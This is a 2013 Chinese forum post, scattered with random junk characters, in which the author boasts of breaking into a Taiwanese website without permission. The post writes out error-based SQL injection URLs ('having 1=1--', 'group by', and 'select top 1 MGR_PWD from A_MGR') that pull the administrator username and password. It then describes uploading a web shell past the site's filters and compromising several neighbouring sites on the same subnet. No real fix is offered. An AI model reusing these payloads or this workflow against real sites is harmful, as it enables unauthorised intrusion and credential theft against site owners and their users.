发现一个注入点" d7 ?* _+ A Y% |& }) Z8 w3 T
http://www.xxx.com /Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389
4 J/ F7 I) E( }7 \ o( M# O( X3 N" Q; n7 h
习惯性的加’having1=1--6 Y G2 d2 r Z! _ e5 ]! R
. k' Q9 \0 B/ d9 i0 q$ O% s5 ~( a9 Uhttp://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’having 1=1—) S' V$ j z; s5 j( b+ p
, d4 H! ?# @* n7 F5 B. K8 Y# M; V6 p0( U# H8 I, @7 ^7 C1 H
# d! P; [' }2 k# ?爆出Diary_A.dl_Title（这时候很激动啊）
* m2 A5 z8 u! [- H
- d1 N; f w' B P% K那么继续, L* |6 q0 D( W3 }
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’group by dl_Title having 1=1—
1 ?$ n g9 b/ B5 o+ Q. ~/ `$ w3 F9 X# l2 {4 y9 L+ g1 ^6 h+ G: W
继续，一直爆下去
+ F$ h7 J9 x6 S5 d, w- V' [! B7 |8 ?2 O
爆到几个字段和表段 但是没找到需要的管理用户的字段
" h1 z/ W! C4 N. ]+ E8 G7 V$ I, n( |( w& g; ^# R/ \
蛋疼了 怎么办 然后去后台登陆页看源码# M& r/ i4 D5 W4 o9 i$ ?1 ^0 a
( ^0 L' E4 h2 R- N09 {' B3 u2 A$ G. k
: j! o$ \, C& }1 D
Input name= “ADUID”
8 }/ o% h) s' N3 q- V3 d% @" eInput name= “ADPWD”
% M' D& i+ z( [! F7 S4 M7 M" e7 \5 ~ t$ T. }
很幸运 找到了字段那就继续9 e+ p7 d& l- a$ h' ~
找到之后开始爆用户
) J) W/ [% f8 A2 P9 R# k. h) Y9 Xhttp://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_UID from A_MGR)>0—
2 i3 L* y1 R" w" ?$ o1 X爆密码
0 q' H; [4 P2 |% i5 t8 D0 |http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_PWD from A_MGR)>0—
) m8 [7 Y! v& {* M; p; g @测试了下 这个注入点只能爆到文章哪里的表
' _. c6 H$ z3 r' P# r7 e) `6 K/ {+ J+ c* o" M9 `4 l7 I1 ^
头疼 继续 既然只能报道文章哪里的表去后台爆 不过后台字符限制了
2 U2 d( o/ e. V( G) |2 o; l; K8 `- m1 Y. h3 w+ E
又想到 用户登录哪里也可以的吧就去试试 果然 今天我很幸运吧 爆出来了) C3 @2 k J7 C
" t1 X7 a9 }# x: |& j
4736 K1 \( L3 b1 M f" d1 U" m4 G
2 d* O# f5 S; ` G3 B- ?9 B1 B5 h+ x
进后台
$ x: @& m( j8 x- I# o/ R% m) @+ T5 x& a5 U: ^6 {9 J
- U! y" c% Q* W2 K发现几个上传点 有的地方不能上传 而且防止恶意代码' [$ H, l$ U* I! E, j8 ^0 M" K+ Z
9 q& u: T+ [% a7 Y2 ?) W' N没办法 各种百度各种找大牛 找到一只好像可以突破的马
( w' W8 T ]7 V) [6 ]/ F- z5 ?7 e) N
* O$ v) C3 [) M, T& U; R# T; e, G5 K0 W$ j$ p0 }
在系统管理那里直接上传 不过没有显示地址
" j" p) c9 s1 Q' b3 @' d% |4 }2 V2 U0 B8 @( V2 }# p! `2 w4 M4 E
再上传一次 抓包 搞定OK
: Y: N( ]3 l' T5 X* t9 H, {5 ^. u" F7 L
Z5 w/ k9 [: b1 d" [
) A- g f$ ]1 v8 K9 |: n472$ a* p) h( N% Z6 \# ?
6 e9 @4 R& z1 O- s7 x
晚上不行了 去睡觉。。。; E: y5 V- Y$ v; v& c _
第二天刚起床 闲的没事做继续日站吧
/ x X% l$ L9 k/ f i
! @: i! J$ }& [找个站 就把这个站的旁c扫了下! b7 V/ @/ [# V1 U: a
' B) |9 y) \3 z7 v发现c段也有一个购物站 ，然后还和这个站的模板差不多& i' o/ X( ^0 V& C9 \8 P8 Q
% L0 a8 \1 h& U: g- p* ?就找到会员登录口测试; ^$ I0 y" i4 M8 [
! O6 q+ x8 M4 i8 W8 I! c
'and (select top 1 MGR_UID from A_MGR)>0—
2 O9 B U2 U9 f0 A: y果断爆到了 这时候我很激动 通杀! X7 J4 C3 b. O$ o
2 i' e8 Y4 a Z; V2 A
再次翻c段7 v8 O: M1 ^! `
( s1 g! r: Y+ d/ K. u. [
翻出几个站 都成功拿下
5 f! _' Y$ w4 j4 K4 n8 g, y
7 z& }& [- ^8 u! D" x: s3 N/ k1 N6 \2 M! B3 k0 j
8 p9 O3 P1 d9 \7 |; p修复方案：
6 z3 ^ I+ V; ]8 {# V他们比我专业 . M& V. e& _* t7 V5 _0 E; n
. W+ W3 v' } s7 E0 J: c
' p1 c7 K6 |7 Q2 B d9 A0 Q% z
. r8 k/ r+ ~- y" H/ k: u; _0 a |
发表于 2013-4-4 17:40:38
收藏
支持
反对